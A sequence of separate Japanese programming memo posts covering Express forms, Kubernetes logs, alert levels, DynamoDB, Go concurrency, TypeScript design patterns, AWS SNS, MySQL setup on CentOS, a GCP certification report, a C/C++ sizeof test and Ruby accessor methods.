<!DOCTYPE html>
<html>
<head>
  .......省略
  <link rel="manifest" href="manifest.json">
  <%= javascript_pack_tag "flutter" %>
</head>
  .......省略
```

4. rails sでserverを起動する
express Form作成

###Package.json のdependencies

```
  "dependencies": {
    "cookie-parser": "~1.4.4",
    "debug": "~2.6.9",
    "ejs": "~2.6.1",
    "express": "~4.16.1",
    "http-errors": "~1.6.3",
    "morgan": "~1.9.1"
  }
```


####expressのForm作成について
expressで入力フォームを（ログイン、新規登録）作成する際にform入力を利用しました。
expressを用いたフォーム作成の忘備録を残します。
参考サイト：
[Node.js + Express で 登録画面 を作る](https://garafu.blogspot.com/2017/04/nodejs-express-regist.html)
[Node.js+Expressでpostを使う！]
(https://tmykndr.hatenablog.com/entry/2018/05/03/025221)
[Express v4.xでJSONのリクエスト/レスポンスを取得する正しい方法]
(https://blog.hrendoh.com/handle-json-requests-and-responses-in-express/)
##フォーム取得側の設定について
###POSTのRequestの取得について
今まではbaby-parserをインストールして対応していましたが、現在はExpress本体に用意されているので追加でインストールは不要です。(4.x系で対応）

```javascript
const express = require('express')
const app = express()
app.use(express.json())

app.post('/', function (req, res) {
  console.log(req.body);
  res.send('Got a POST request')
})
```
上記内容を記述しておくことで、POSTでの"req.body"でJSON受け取りが可能です。


##フォームのejsについて


```html

<form action="/" method="post">
    <input type="text" name="name" placeholder="name">
    <input type="text" name="age" placeholder="age">
    <input type="submit" value="送信！">
</form>
```
実際の出力は下記のようになります。

![スクリーンショット 2021-03-14 21.23.26.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/961363/2b45b382-96ca-6c84-efa4-3a4d66ee6645.png)

設定のポイントとしては、
<formタグ>
action : データの送信先（受け取り側と一致するように）
method : 送信方法（今回はpost送信、受け取り側も一致するように）
<input>
name属性に設定されたものが
送信されるオブジェクトのkeyとなります。
出力結果(console.log(req.body)）は下記のようになります。

```
[Object: null prototype] { name: 'test', age: '55' }
```
<input type="submit" value="送信！">
こちらのsubmitと設定されたボタンを押すことでPOST送信が実行されます。

後は、よしなにして頂ければということです。

以上、簡単にですがフォームの忘備録でした。
GKEを使ってデプロイを試みた時のメモ

# GKEのpodのログを継続的に見る方法

GKEでpodのログが継続的に出なくてエラーの解決がとても難航していたので
それを解決するためのコマンドを調べました。

自分用のマインドマップに記載していたのですが、整理もかねてメモとして残しておきたいなと思います。

GKEデプロイにチャレンジをしていたのが、随分と前なので現在でも使えるのか不安ですが...
（結局デプロイできず...一旦断念しています。次こそは必ずリベンジするぞ！）

継続的にログを出して確認したい！とか、少しでも参考になればいいなと思います。

話は一旦これぐらいにして、本題なんですがそのコマンドは下記となります。

```
kubectl logs -f [pod名]
```
となります。

あくまで、私の場合は成功したということなので、もっと他にやり方はあるかもしれません。

今まで色々試したけどこれはやってないなぁ〜と思っている方がいましたら一度試してみてはいかがでしょうか？
アラートレベルの適切な設定

# 概要
アラートレベルの設定が不適切だと余計な運用コストが発生します。
これは過去に経験した問題と対応の記録でえす。


# 初期状態
##### エラーレベル

| ログレベル | 想定 |架電 |リカバリ| 内容|
|:-----------|:----------------|:------------:|:------------:|:------------|
|ERROR|外|必要(24時間365日)|内容次第|想定外の処理全般
|WARN |外|不要|不要    |ロジックで気になる箇所
|INFO |内|不要|不要    |通常、気にする必要はないが何かあったときに確認したい情報

##### 特徴
* 例外処理が発生した場合のエラーレベルを「ERROR」にしていた
 * 開発者が運用のことをあまり考慮していなかった
 * そもそも規約の中でエラーレベルについての考え方を示していなかった
 
##### 結果
* 例外処理と思って切り出したアラートが通常処理としてバンバン発生した
  * 平日深夜、休日にアラートがバンバン発生
    * 大半が静観するしかなかったり、対応するにしても翌営業日でよいものだった
    * わざわざ業務外の時間に電話を受ける必要がないものが多かった

# 改善後(1回目）
##### エラーレベル
| ログレベル | 想定 |架電 |リカバリ| 内容|
|:-----------|:----------------|:------------:|:------------:|:------------|
|ERROR|外|不要|翌営業日|単発の事象。緊急性は低いがユーザケアが必要。
|WARN |外|不要|不要    |ユーザ影響なし。ソースコードの修正が必要。
|INFO |内|不要|不要    |通常、気にする必要はないが何かあったときに確認したい情報
##### 特徴
* 「ERRROR」レベルの例外として電話がかかってきたもののうち、対応不要なアラートのレベルを「WARN」に落とした

##### 結果
* 電話が鳴る回数は減った
* 「WARN」としてあがったアラート野中に後からリカバリ作業不要なものと必要なものが混在するようになった
* 元々、「WARN」に対するメンバーの意識が低かったこともあり、リカバリ作業が必要なアラートが見落とされるようになった


# 改善後(2回目）
##### エラーレベル
| ログレベル | 想定 |架電 |リカバリ| 内容|
|:-----------|:----------------|:------------:|:------------:|:------------|
|ERROR|外|不要|翌営業日|単発の事象。緊急性は低いがユーザケアが必要。
|WARN |外|不要|不要    |ユーザ影響なし。ソースコードの修正が必要。
|INFO |内|不要|不要    |通常、気にする必要はないが何かあったときに確認したい情報

##### 特徴
* 「WARN」のうち対応不要なエラーを「INFO」にした
* 結果的に「WARN」としてあがったエラーはいずれも何かしらの対応が必要なものだけになった

##### 結果
* リカバリ作業が必要なアラートの対応漏れが起こらなくなった

# 今後の展開
* 開発時にERRORレベルについての認識をあわせておく
* レビュー時にもその点をチェックする
AWS DynamoDB テーブル一覧取得 メモ


# テーブル一覧取得

### resource

```py
import boto3

dynamodb = boto3.resource('dynamodb')
response = dynamodb.tables.all()
print(type(response))
print(response)
print('------------')
for x in response:
    print(x, x._name, type(x))
```

```
<class 'boto3.resources.collection.dynamodb.tablesCollection'>
dynamodb.tablesCollection(dynamodb.ServiceResource(), dynamodb.Table)
------------
dynamodb.Table(name='TestTable1') TestTable1 <class 'boto3.resources.factory.dynamodb.Table'>
dynamodb.Table(name='TestTable2') TestTable2 <class 'boto3.resources.factory.dynamodb.Table'>
```

### client

```py
import boto3

dynamodb = boto3.client('dynamodb')
response = dynamodb.list_tables()
print(type(response))
print(response['TableNames'])
```

```
<class 'dict'>
['TestTable1', 'TestTable2']
```

# 参考記事
https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/dynamodb.html
VSCodeからzshのターミナルが開けない場合の対応


#問題
VScodeで「新しいターミナル/New Terminal」を実行した際に、下記のエラーでターミナルが開けない。

```
The terminal process failed to launch: Path to shell executable "/usr/local/bin/zsh" does not exist.
```

#原因
VSCodeの設定(settings.json)の`terminal.integrated.shell.osx`が、自分環境のzshのPATHと異なることが原因。


#対応
1. 自分環境のzshのPATHを確認する。

    ```
>> echo $SHELL
/bin/zsh  <- 各自異なる可能性がある
```
    
2. VSCodeのsettings.jsonを開く
        
    `Command` + `,`で設定画面を開く。
    
    `terminal.integrated.shell.osx`で検索し、`Edit in settings.json`をクリック。
![settings.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/267060/bcd25d2f-354f-845c-cb76-318168fa6327.png)
    
3. settings.jsonで、terminal.integrated.shell.osxに自分環境のzshのPATHを設定する
    
    ```
{
--略--
terminal.integrated.shell.osx: "/bin/zsh",
--略--
}
```
自分用 XR リンク集

随時更新予定

## Mixed Reality Toolkit (MRTK) 

- [MRTK-Unity Developer Documentation | Microsoft Docs](https://docs.microsoft.com/en-us/windows/mixed-reality/mrtk-unity/)
    - 公式ドキュメント
    - [日本語](MRTK へようこそ | Mixed Reality Toolkit Documentation)
- [MRTK チュートリアルの概要 - Mixed Reality | Microsoft Docs](https://docs.microsoft.com/ja-jp/windows/mixed-reality/develop/unity/tutorials/mr-learning-base-01)
- [OculusQuestMRTK | Microsoft Docs](https://docs.microsoft.com/en-us/windows/mixed-reality/mrtk-unity/features/cross-platform/oculus-quest-mrtk)
- [UsingARFoundation | Microsoft Docs](https://docs.microsoft.com/ja-jp/windows/mixed-reality/mrtk-unity/features/cross-platform/using-ar-foundation)
    - こちらの手順では MRTK x Android で実行時エラー
    - MRTK x Android で実行する場合は、[Android と iOS 用の Azure Spatial Anchors - Mixed Reality | Microsoft Docs](https://docs.microsoft.com/ja-jp/windows/mixed-reality/develop/unity/tutorials/mr-learning-asa-05) の方法を参照
- [GitHub - microsoft/MixedRealityToolkit-Unity](https://github.com/Microsoft/MixedRealityToolkit-Unity)
- [Azure Spatial Anchors チュートリアルの概要 - Mixed Reality | Microsoft Docs](https://docs.microsoft.com/ja-jp/windows/mixed-reality/develop/unity/tutorials/mr-learning-asa-01)
    - MRTK x Azure Spatial Anchors
- [Android と iOS 用の Azure Spatial Anchors - Mixed Reality | Microsoft Docs](https://docs.microsoft.com/ja-jp/windows/mixed-reality/develop/unity/tutorials/mr-learning-asa-05)
    - MRTK x Azure Spatial Anchors x Android


## Azure Spatial Anchors

- [Azure Spatial Anchors のドキュメント - Azure Spatial Anchors | Microsoft Docs](https://docs.microsoft.com/ja-jp/azure/spatial-anchors/)
- [Azure Spatial Anchors Unity の概要 - Azure Spatial Anchors | Microsoft Docs](https://docs.microsoft.com/ja-jp/azure/spatial-anchors/unity-overview)
- [Unity 向けの Azure Spatial Anchors をインストールする - Azure Spatial Anchors | Microsoft Docs](https://docs.microsoft.com/ja-jp/azure/spatial-anchors/how-tos/setup-unity-project)
    - Azure Spatial Anchors のインストール方法
- [Azure Spatial Anchors チュートリアルの概要 - Mixed Reality | Microsoft Docs](https://docs.microsoft.com/ja-jp/windows/mixed-reality/develop/unity/tutorials/mr-learning-asa-01)
    - MRTK x Azure Spatial Anchors
- [Android と iOS 用の Azure Spatial Anchors - Mixed Reality | Microsoft Docs](https://docs.microsoft.com/ja-jp/windows/mixed-reality/develop/unity/tutorials/mr-learning-asa-05)
    - MRTK x Azure Spatial Anchors x Android

## ARCore

- [Quickstart for ARCore Extensions for Android  |  Google Developers](https://developers.google.com/ar/develop/unity-arf/quickstart-android)
    - AR Foundation を用いた ARCore のインストール方法
- [Build for Android 11 with Unity  |  ARCore  |  Google Developers](https://developers.google.com/ar/develop/unity/android-11-build)
    - Android 11 のデバイスにビルドするときの注意

## AR Foundation

- [About AR Foundation | AR Foundation | 3.1.10](https://docs.unity3d.com/Packages/com.unity.xr.arfoundation@3.1/manual/index.html)
- [GitHub - Unity-Technologies/arfoundation-samples](https://github.com/Unity-Technologies/arfoundation-samples)
【CSS】!importantとは

#プログラミング勉強日記
2021年3月14日

#!importantとは
　合わせて使用したプロパティを最優先で使用するときに使うのが`!important`である。

　親要素に指定したCSSは子要素にも適用されることをCSSの継承という。

```html:HTML
<div class="paent">
  <div class="child"></div>
</div>
```

```css:CSS
.parent {
  background-color: blue;
}
```

　このようなプログラムではCSSは子要素にも適用される。継承したCSSを使用せずに強制的に別のCSSで上書きするのが!important指定である。

```css:!importantの指定方法
.child {
 background-color: red !important
}
```

#スタイルシートの優先順位
　!importantを使うためにはそもそものスタイルシートの優先順位を知っておく必要がある。

1.セレクタによる優先順位
→タイプセレクタ(要素名で対象を指定してスタイルを適用する) < class < id < style

2. 同じセレクタの場合は後から呼ばれたものが優先される


#!importantを使う上での注意点
　!importantは多用してはいけない。最優先がいくつもあった場合、本当に優先すべきプロパティが何かわかんなくなってしまう。
　なので、どうしても必要な場合のみに使用するのがいい。

#参考文献
[CSSでimportant指定を禁止したい理由を現役エンジニアが解説【初心者向け】](https://techacademy.jp/magazine/38786)
[CSSの「!important」とは？CSSが適用されない時の対応方法](https://www.sejuku.net/blog/75524)
vue.jsに触れてみる

#前書き
vue.jsをする機会ができたので軽く触れていこうと思います。
とりあえずプロジェクト作成から始めていきます。

#プロジェクト作成
vue-cliのインストールから始めます。
その前にvue-cliとは
>Vue CLIとは CLIはCommnad Line Interfaceの略で、コマンドラインを使ってvue.jsで開発を行うための前準備を支援してくれるツールです。

らしいです。

早速書きコマンドでインストール
```
npm install -g vue-cli
```
エラーが発生しました。
![WS000000.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/588477/4c2fec8a-1702-bd9e-e9c2-8c49af6750f4.jpeg)

どうやらC:\Users\Admin\AppData\Roaming\npm\node_modules\vue-cli\bin\vueってファイルが既にあるらしく怒られています。
一度対象ファイルを削除してもう一度インストールコマンド実行
でもまた同じエラー...

```
npm install -g vue-cli --force
```
上記コマンドで無理やりインストールできるそうなのでこちらでインストール

次にプロジェクトを下記コマンドで作成します。
```
vue init webpack [project名]
```

![WS000001.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/588477/d27a67c0-b4e0-fb43-ff2f-93c47240ac66.jpeg)

作成できたみたいです。
下記コマンドでVue.jsのWebサーバが起動する。その後http://localhost:8080を開きます。
```
npm run dev
```
![WS000003.JPG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/588477/c0af4d62-7410-b8bf-2c70-b3481d6e7e8e.jpeg)

上記画面が表示され無事動作確認ができました。
【Go/golang】sync.Mutex / sync.WaitGroupで排他制御をする

※本記事は備忘録として記述しておりますので、ご容赦ください。

# sync.Mutex
次のコードは、IDを作成するコードが同時に１つしか実行されないようにしています。
※goroutineにmutex構造体を渡すときは、**必ずポインタでわたすこと。**
値のまま渡してしまうと、ロックしている状態のまま別のsync.Mutexインスタンスを渡すことになってしまうので、注意が必要です。

```go
package main

import (
	"fmt"
	"sync"
	"time"
)

var id int

func generateID(mutex *sync.Mutex) int {
	// Lock() / Unlock()をペアで呼び出してロックする
	mutex.Lock()
	defer mutex.Unlock()

	id++
	result := id

	return result
}

func main(){
	// sync.Mutex構造体の変数宣言
	// 次の宣言をしてもポインタ型になるだけで正常に動作する
	// mutex := new(sync.Mutex)
	var mutex sync.Mutex

	for i := 0; i < 100; i++ {
		go func() {
			fmt.Printf("id: %d\n", generateID(&mutex))
		}()
	}
	// 100まで出力させたいなら終了待ちの操作が必要
	// time.Sleep(4 * time.Second)
}
```
```
# 実行結果
id: 1
id: 5
id: 6
id: 2
id: 7
id: 4
id: 3
id: 8
id: 10
id: 11
id: 12
id: 13
id: 14
id: 15
id: 16
id: 17
id: 18
id: 9
id: 19
id: 20
...
省略

# goroutineの終了待ちをしていないので、100個に到達する前に終了してしまうことがある
```

ロックしたままの値を渡していないか確認するには、`go vet`を実行することで見ることができる。

# Mutexとチャネルの使い分け
- チャネルが有用な場合
  - 非同期で結果を受け取る場合
- Mutexが有用な場合
  - キャッシュ、状態管理

# sync.WaitGroup
多数のgoroutineで実行しているジョブの終了待ちに使います。
※goroutineにwg構造体を渡すときは、**Mutex同様必ずポインタでわたすこと。**

```go
package main

import (
	"fmt"
	"sync"
)

func main() {
	var wg sync.WaitGroup

	// ジョブ数をあらかじめ登録 (必ずgoroutineを作成する前に呼ぶ)
	// Doneが呼ばれるたびに、数がデクリメントされていく
	// Waitはこの中の数が0になるのを待機している
	wg.Add(2)

	go func() {
		// 非同期で仕事をする
		fmt.Println("仕事1")
		// Doneで完了を通知
		wg.Done()
	}()

	go func() {
		// 非同期で仕事をする
		fmt.Println("仕事2")
		// Doneで完了を通知
		wg.Done()
	}()

	// 全ての処理が終わるのを待つ
	wg.Wait()
	fmt.Println("完了")
}
```
```
# 出力結果 (仕事1と仕事2は順不同で出力される)
仕事2
仕事1
完了

# Mutexと違い、終了待ちをしているため、確実にgoroutineの終了を確認できる
```

# WaitGroupとチャネルの使い分け
- WaitGroupの方が良い場合
  - ジョブ数が大量にある場合
  - 可変個の場合
TypeScriptでデザインパターン[2.Adapter]

# はじめに
Typescriptでデザインパターンをやっていくシリーズ（にする予定です）

結城 浩さんの「Java言語で学ぶデザインパターン入門」をTSに置き換えてTS力をあげていこうという趣旨です。

https://www.amazon.co.jp/%E5%A2%97%E8%A3%9C%E6%94%B9%E8%A8%82%E7%89%88Java%E8%A8%80%E8%AA%9E%E3%81%A7%E5%AD%A6%E3%81%B6%E3%83%87%E3%82%B6%E3%82%A4%E3%83%B3%E3%83%91%E3%82%BF%E3%83%BC%E3%83%B3%E5%85%A5%E9%96%80-%E7%B5%90%E5%9F%8E-%E6%B5%A9/dp/4797327030

前回はこちら
[TypeScriptでデザインパターン[1.Iterator]](https://qiita.com/zackey2/items/2fa106a8d68455b34c41)

# メモ
- namespaceでくくれば同名でも衝突しない
- Adapterパターンには継承を使ったものと、委譲を使ったものがある
- 別名Wrapper

# Code

```ts
// 継承でAdapterを実現するパターン
namespace Adapter_Inheritance {
  interface Print {
    printWeek(): void;
    printStrong(): void;
  }

  class Banner {
    private str: string;

    constructor(str: string) {
      this.str = str;
    }

    public showWithParen(): void {
      console.log("(" + this.str + ")");
    }

    public showWithAster(): void {
      console.log("*" + this.str + "*");
    }
  }

  // 継承でAdapterを実現するパターン
  class PrintBanner extends Banner implements Print {
    constructor(str: string) {
      super(str);
    }

    printWeek(): void {
      this.showWithParen();
    }
    printStrong(): void {
      this.showWithAster();
    }
  }

  const print:Print = new PrintBanner("aaa");
  print.printStrong();
  print.printWeek();
}

// 委譲を使ったもの
namespace Adapter_Delegation {
  abstract class Print {
    abstract printWeek(): void;
    abstract printStrong(): void;
  }

  class Banner {
    private str: string;

    constructor(str: string) {
      this.str = str;
    }

    public showWithParen(): void {
      console.log("(" + this.str + ")");
    }

    public showWithAster(): void {
      console.log("*" + this.str + "*");
    }
  }

  class PrintBanner extends Print {
    private banner: Banner;

    constructor(str: string) {
      super();
      this.banner = new Banner(str);
    }

    printWeek(): void {
      this.banner.showWithParen();
    }
    printStrong(): void {
      this.banner.showWithAster();
    }
  }

  const print:Print = new PrintBanner("bbb");
  print.printStrong();
  print.printWeek();
}

```
【学習メモ】AWS　SNS

#SNS
Simple Notification Service。
フルマネージド型のプッシュ型通知サービス。

<b>SNSはどう言うもの？</b>
TOPICを作成して、どういう受信側に送るのかというpolicyを指定することによって、
特定の通信内容を受信側に送る。

##特徴
AWSの他のサービスと連携して、疎結合化が可能。
Ref：https://aws.amazon.com/cn/sns/features/

####標準トピック
```
1回以上受信され順番付けされていないメッセージをアプリケーションが処理できるのであれば、
多くのシナリオで使用することができます。
```

####FIFO トピック
```
オペレーションやイベントの順番が重要であったり、
重複を許容しないようなアプリケーション間で行うメッセージングを、
強化するために設計されています。
```

#SQS　Vs. SNS
Ref:https://medium.com/awesome-cloud/aws-difference-between-sqs-and-sns-61a397bf76c5

◯エンティティタイプ
SQS：キュー
SNS：トピック

◯Message consumption
SQS :プル型（受信側はSQSにてメッセージを引っ張る）
SNS :プッシュ型（ SNSはメッセージを受信側に送る）

◯ユーケース
SQS :二つのアプリを疎結合。非同期処理を許す。
SNS :同じメッセージを複数の方法で処理できる。

◯永続性
SQS：永続性あり。
SNS：永続性なし。
メッセージの到着時にどちらのコンシューマーが存在していたとしても、メッセージを取得すると、メッセージは削除される。利用可能なコンシューマーがない場合、メッセージは失う。

※SQSではメッセージ配信は保証されるが、SNSでは保証されていない。

◯消費者タイプ
SQS：すべてのコンシューマーは同一であると想定されているため、メッセージをまったく同じ方法で処理する。
SNS：すべての消費者は（想定される）さまざまな方法でメッセージを処理する。
goroutineで値(変数)を共有する

# go routineのスレッド間でデータを共有する
※本記事は備忘録として記載したものでありますため、ご容赦ください。

goroutineで動作している関数でデータを共有するには、
1. 引数として渡す方法
2. クロージャのローカル変数にキャプチャして渡す方法
があります。

```go
package main

import (
	"fmt"
	"time"
)

func sub1(c int) {
	fmt.Println("share by arguments : ", c*c)
}

func main() {
	// 引数で渡す方法
	go sub1(10)

	// クロージャのキャプチャで渡す方法
	c := 20
	go func() {
		fmt.Println("share by capture : ", c*c)
	}()

	time.Sleep(time.Second)
}
```
```
# 結果
share by arguments :  100
share by capture :  400
```

クロージャのキャプチャ渡しの場合も、内部的には無名関数に引数が追加されて参照が渡されるため、厳密には同じ動きとなります。

# forを使用してみる
```go
package main

import (
	"fmt"
	"time"
)

func main() {
	tasks := []string{
		"cmake ..",
		"cmake . --build release",
		"cpack",
	}
	for _, task := range tasks {
		go func() {
			// goroutineが起動する時にはループが回り切って
			// 全部のtaskが最後のタスクになってしまう
			fmt.Println(task)
		}()
	}
	time.Sleep(time.Second)
}
```
```
# 結果
cpack
cpack
cpack
```
高速ではありますが、単純なループに比べてgoroutineの起動が遅いため、taskに"cpack"が入った状態でループが回ってしまう。
このような場合は、引数経由にして明示的に値をコントロールするべきです。

# 子goroutineから親goroutineへの値渡し
両者は共有アドレスを参照しているため、上書きに注意が必要です。

# 参考
https://www.lambdanote.com/products/go
CentOSにMySQLのインストール/アンインストール

## 備忘録

### 環境
* CentOS 7

### MySQLのインストール

[mysqlの公式](http://dev.mysql.com/downloads/repo/yum/)に、各OS毎のyumリポジトリがありますので、自分のOSに合うもののダウンロードページへ行きます。

```bash
# ここは人によって違う
$ yum install https://dev.mysql.com/get/mysql80-community-release-el7-3.noarch.rpm

$ yum -y install mysql-community-server

$ systemctl enable mysqld.service
$ systemctl start mysqld.service

# 表示された最後の文字列がパスワード
$ sudo grep password /var/log/mysqld.log

# MySQLログイン
$ mysql -u root -p
```

### アンインストール

アンインストールは上記の逆を行う

```bash
# インストールされているMySQL一覧
$ rpm -qa | grep -i mysql

# 全部削除
$ sudo yum remove mysql*
```

## 参考
* https://qiita.com/ritukiii/items/f4e2fbae5d6e7b1aa5f9
GCP-PCAを取得したぞい

[Professional Cloud Architect](https://cloud.google.com/certification/cloud-architect?hl=ja)の認定資格を受けてきました。

# 目的

[前回の記事](https://qiita.com/ochiba/items/b3e54e6da532bdaf41ee)でモチベーションが云々言ってましたが、先週ネットの情報とかを見ていて「各GCPのサービスについてある程度整理できている今のうちに受けた方がいいのでは？」という気持ちになったので受けてきました。


# 勉強方法

[模擬試験](https://cloud.google.com/certification/sample-questions/cloud-architect?hl=ja)を受けてみて、なるほど確かに「ある要件を満たすためにどのようにGCPを使えばよいですか？」が問われているな、と思いました。
1週間しかなかったので平日夜に1時間くらいずつアーキテクチャリファレンス見ながらサービスの整理・ケーススタディの検討、土曜に半日使って問題集を解いて日曜に受験というスケジュールでした。

- [試験ガイド](https://cloud.google.com/certification/guides/professional-cloud-architect?hl=ja)に出てくるケーススタディについて自分なりの構成を検討
 - PCAの受験者はみんな言及している気がする
 - 勉強時は技術要件だけ読んで複数のサービスを候補に挙げてから、他の要件で絞り込むように考えるのがベター
 - 最初からコレ！って決めてかかって流してしまうと試験がツライ
- [Google Cloud Solutions Architecture Reference](https://gcp.solutions/)
 - 「このシステムでなぜこのサービス使ってるんだっけ？」を自分なりに咀嚼して整理
 - 「この構成にしているのはなぜ？」が説明できるようになっているくらいであればサービス理解度は十分なはず
 - [Google Cloud ソリューション デザインパターン](https://events.withgoogle.com/solution-design-pattern/)もオススメ（日本語なのでとっつきやすいけど、どちらかといえば管理職向けの内容でアーキテクチャの解説はやや弱めかなと）
- [Google Certified Professional Cloud Architect Practice Questions](https://www.amazon.co.jp/Certified-Professional-Architect-Practice-Questions/dp/1697511333)
 - 鮮度が落ちる（特にSaaS系）ので書籍の問題集はあまり買わないことにしていたけど、どの程度理解できているのかを測る指標がなくて不安だったので購入
 - 2019年に発行されたものなのでいくらか情報は古いものが混ざっているものの、英語に苦手意識がない方にはオススメ
 - 正解していても「なぜその選択肢を選ぶに至ったか」について認識のずれがないかを注意した


# 受験

Kryterionの予約はこれで3回目ですが慣れたものです。
過去2回受けた場所が空いてなくてちょっとしょんぼり。
１週間前に空いていることはあんまりない（特に休日）ので、予約は計画的に！


# 試験の感想

一通り回答が終わった時点で60分。
GCP関係なくこれまでのインフラエンジニアとしての経験で回答した箇所もあり、合格かどうかあんまり自信がない状態で提出ボタンを押したのはAzureの試験以来でした。

- 「どれ選んでも解決できるんだけど、要件や条件を考慮すると最適なのはコレ」って問題が多かった印象。
- GCPを使い込んでいる人か、サービス理解が正確にできている人なら自信を持って即答できているのかも。
- 2,3問くらい日本語が変なところがあって戸惑いました（AWSみたいに英語表記も見えるようにしてくれるとよかったなぁ）

個人的には次はDevOps！と言いたいところですが、GCPのこの辺のサービスをちゃんと触ってないのでしばらくは勉強が必要ですね。
SREも朧げにしか理解していないので資格取得に向けてはここも抑えておきたいところ。。
TypeScriptでデザインパターン[1.Iterator]

# はじめに

Typescriptでデザインパターンをやっていくシリーズ（にする予定です）

結城 浩さんの「Java言語で学ぶデザインパターン入門」をTSに置き換えてTS力をあげていこうという趣旨です。

https://www.amazon.co.jp/%E5%A2%97%E8%A3%9C%E6%94%B9%E8%A8%82%E7%89%88Java%E8%A8%80%E8%AA%9E%E3%81%A7%E5%AD%A6%E3%81%B6%E3%83%87%E3%82%B6%E3%82%A4%E3%83%B3%E3%83%91%E3%82%BF%E3%83%BC%E3%83%B3%E5%85%A5%E9%96%80-%E7%B5%90%E5%9F%8E-%E6%B5%A9/dp/4797327030

# メモ

## Iteratorかぶり
TSには元々IteratorというInterfaceが予約されていたので、MyInterfaceというクラス名に変更した。
TSのIteratorを使って実装してみるのも面白いかもしれない
https://typescript-jp.gitbook.io/deep-dive/future-javascript/iterators

## 反省
- `last`というパラメータはいらなかった。`books.length`でよかった。

# Code

```ts
interface MyIterator {
  hasNext(): boolean;
  next(): Object;
}
interface Aggregate {
  iterator(): MyIterator;
}

class Book {
  private name: string;

  constructor(name: string) {
    this.name = name;
  }

  getName(): string {
    return this.name;
  }
}

class BookShelf implements Aggregate {
  private books: Book[];
  private last: number = 0;
  constructor() {
    this.books = [];
  }

  getBookAt(index: number): Book {
    return this.books[index];
  }

  appendBook(book: Book) {
    this.books[this.last] = book;
    this.last++;
  }
  getLength(): number {
    return this.last;
  }
  iterator() {
    return new BookShelfIterator(this);
  }
}

class BookShelfIterator implements MyIterator {
  private bookShelf: BookShelf;
  private index: number;

  constructor(bookShelf: BookShelf) {
    this.bookShelf = bookShelf;
    this.index = 0;
  }

  hasNext(): boolean {
    if (this.index < this.bookShelf.getLength()) {
      return true;
    }
    return false;
  }

  next(): Book {
    const book = this.bookShelf.getBookAt(this.index);
    this.index++;
    return book;
  }
}

class Main {
  main() {
    const bookShelf = new BookShelf();
    bookShelf.appendBook(new Book("Alpha"));
    bookShelf.appendBook(new Book("Barvo"));
    bookShelf.appendBook(new Book("Charlie"));
    bookShelf.appendBook(new Book("Delta"));
    const iterator = bookShelf.iterator();

    while (iterator.hasNext()) {
      console.log(iterator.next().getName());
    }
  }
}

const main = new Main();
main.main();

```
C言語としてコンパイルされるか、C++としてコンパイルされるか


# はじめに


```sh
g++ test.c
```

を実行したときに、C言語としてコンパイルされるかC++としてコンパイルされるかが気になることがあると思います。
[こちらの記事](https://qiita.com/yohhoy/items/a2ab2900a2bd36c31879)によると
> C言語では 文字定数(character constant) の型はintです。よって常に sizeof('C') == sizeof(int) となります。
>> C++：C++言語では 文字リテラル(character literal) の型はcharとなるため、sizeof('C') == sizeof(char)つまりsizeof('C') == 1となります。この違いを利用して「C/C++判定トリック」として紹介されることもあります。

とあります。
これを使ってテストをしてみましょう。

# テストコード

```c++:test.c/test.cpp
#include<stdio.h>
int main(void){
  printf("%zu\n", sizeof('A'));
  return 0;
}
```

ソースコードはtest.c/test.cpp共通です。（拡張子だけが違います）
出力が4ならC言語、1ならC++です。
コンパイラはgcc/g++、clang/clang++でテストします。

# 実行結果

```sh
$ gcc test.c 
$ ./a.out
4
$ gcc test.cpp
$ ./a.out
1
$ g++ test.c
$ ./a.out
1
$ g++ test.cpp
$ ./a.out
1
$ clang test.c
$ ./a.out
4
$ clang test.cpp
$ ./a.out
1
$ clang++ test.c
clang: warning: treating 'c' input as 'c++' when in C++ mode, this behavior is deprecated [-Wdeprecated]
$ ./a.out
1
$ clang++ test.cpp
$ ./a.out
1
```

# まとめ

Cコンパイラ(gcc/clang)かつ拡張子が.cの場合のみ、C言語としてコンパイルされるようです。

# 実行環境
Ubuntu 18.04
gcc/g++ : 7.5.0
clang/clang++ : version 6.0.0-1ubuntu2
Rubyのゲッター・セッター・アクセサメソッドについてまとめてみた。

##前提
###インスタンス変数はクラスの外から呼び出すことができない

```.rb
class User
  def initialize(name)
    @name = name
  end
end
user = User.new('Alice')
puts @name

=> #クラスの外からインスタンス変数を呼び出した為出力されず
```
##ゲッターメソッドとは
クラス内からインスタンス変数を**参照するメソッド**
##セッターメソッドとは
クラス内からインスタンス変数を**更新するメソッド**

###＠nameをクラスの外から参照するためのメソッドを定義してみる（ゲッターメソッド）

```.rb
class User
  def initialize (name)
    @name = name
  end
#ゲッターメソッド
  def name
    @name
  end
end

user = User.new('Alice')
puts user.name 

=> 'Alice'
```
###＠nameの内容をクラスの外から変更したい場合も変更用のメソッドを定義する（セッターメソッド）
```.rb
class User
  def initialize(name)
    @name = name
  end
  # ゲッターメソッド
  def name
    @name
  end
  # セッターメソッド(rubyでは=で終わるメソッド名を定義すると変数に代入する形式でそのメソッドを呼び出す)
  def name=(value)
    @name = value
  end
end

user = User.new('Alice')

# ↓ここは変数に代入してる訳ではなく、name=というメソッド（セッター）を呼び出してる。また=の前にスペースがあっても使える
user.name = 'Bob'
puts user.name
=>'Bob'
```



###アクセサメソッド
#####上記でやったセッターやゲッターを定義せずに省略することができる
| メソッド名 | 内容 | 
|:-----------:|:------------:|
| attr_reader: 変数名|参照を可能にする（ゲッター） | 
| attr_writer: 変数名|更新を可能にする（セッター）|
|  attr_accessor: 変数名 | 参照と更新両方可能にする（ゲッター・セッター） |   

###attr_accessorメソッド
参照と更新両方可能にする（ゲッター・セッター）

```.rb
class User
  attr_accessor :name

  def initialize (name)
    @name = name
  end
end

user = User.new('Alice')
#変更
user.name = 'Bob'
#参照
puts user.name 
=> 'Bob'
```

###attr_readerメソッド
参照できるが変更はできない（ゲッター）

```.rb

class User
  attr_reader :name

  def initialize (name)
    @name = name
  end

end

user = User.new('Alice')
#参照は可能
puts user.name
=> 'Alice'

user.name = 'Bob'
=> 'undefined method `name=' for #<User:0x00007fca8b11eb28 @name="Alice"> (NoMethodError)
Did you mean?  name'
```
###attr_writerメソッド
変更できるが参照できない（セッター）

```.rb
class User
  attr_writer :name

  def initialize (name)
    @name = name
  end

end

user = User.new('Alice')
#変更は可能
user.name = 'bob'
puts user.name 
